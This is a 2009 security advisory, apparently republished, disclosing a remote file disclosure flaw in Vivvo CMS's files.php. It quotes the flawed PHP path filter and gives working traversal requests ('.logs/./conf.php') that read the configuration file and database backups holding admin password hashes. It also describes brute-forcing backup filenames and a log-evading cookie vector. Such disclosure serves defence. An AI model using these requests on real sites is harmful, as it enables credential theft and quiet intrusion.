[waraxe-2009-SA#075] - Remote File Disclosure in Vivvo CMS 4.1.5.1

2009-10-22T00:00:00
ID SECURITYVULNS:DOC:22670
Type securityvulns
Reporter Securityvulns
Modified 2009-10-22T00:00:00

Description

[waraxe-2009-SA#075] - Remote File Disclosure in Vivvo CMS 4.1.5.1

Author: Janek Vind "waraxe" Date: 21. October 2009 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-75.html

Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vivvo CMS is an intuitive content management system atop a powerful programming framework, empowering numerous industry leading online newspapers, magazines, journals, TV and radio stations.

http://www.vivvo.net/

List of found vulnerabilities

  1. Remote File Disclosure in "files.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Reasons: 1. wrongly implemented filtering of user submitted data

Preconditions: none

Impact: remote attacker can download arbitrary files from target server

Remarks: 1. authentication is not needed 2. POST parameters or cookies can be used as attack vector 3. Vulnerable are all Vivvo CMS versions >= 4.1.0

-----------------------------[source code start]------------------------------- if (isset($_REQUEST["file"])) { $filename = str_replace('..', '', $_REQUEST["file"]); $filename = str_replace('logs/', '', $filename); $file = VIVVO_FS_ROOT . 'files/' . $filename; if (file_exists($file) && !is_link($file) && !is_dir($file)){ $file_split = explode('.', $file); $ext = end ($file_split);
... header("Content-type: application/force-download"); header("Content-disposition: attachment; filename=\"".basename($file)."\"");
} readfile($file); -----------------------------[source code end]---------------------------------

Source code snippet above takes user submitted parameter "file" and will use it in file path. There is security measure against obvious directory traversal risk - double dots ("..") are filtered out from user submitted data.

Let's try this:

http://localhost/vivvo.4.1.5.1/files.php?file=../conf.php

... and we get 404 error:

Page Not Found The requested URL was not found on this server. If you believe this page should be here, please notify administrator.

OK, directory traversal is not possible here. But ... wait a minute ... What happens, if we try something like this:

http://localhost/vivvo.4.1.5.1/files.php?file=.logs/./conf.php

Oops, we can download Vivvo CMS configuration file with sensitive data inside. How about database backup?

http://localhost/vivvo.4.1.5.1/files.php?file=.logs/./backup/21-10-2009-18-46_vivvo4151.sql.gz

... and we have admin's password hash (simple MD5) in our possession. Database backup's filename must be guessed before successful download, but it is not complex task. We allready know database name (from conf.php), there is only 1440 minutes in one day, so attacker can use bruteforce for filename guessing. For example, if backup is done within last 30 days, then maximum 43200 requests is needed for successful database backup fetching.

As vulnerable input variable is $_REQUEST["file"], then attack vector can be not only GET parameter, but also POST parameter or even cookie. As most real world webservers do not log POST data and cookies, then such method can make attack less "noisy". Proof of concept:

  1. open Vivvo webpage:

http://localhost/vivvo.4.1.5.1/

  1. use javascript for cookie manipulation:

javascript:document.cookie="file=.logs/./conf.php";

  1. open same webpage again and download of "conf.php" is possible.

Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, str0ke, to all active waraxe.us forum members and to anyone else who know me!

Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ ---------------------------------- [ EOF ] ------------------------------------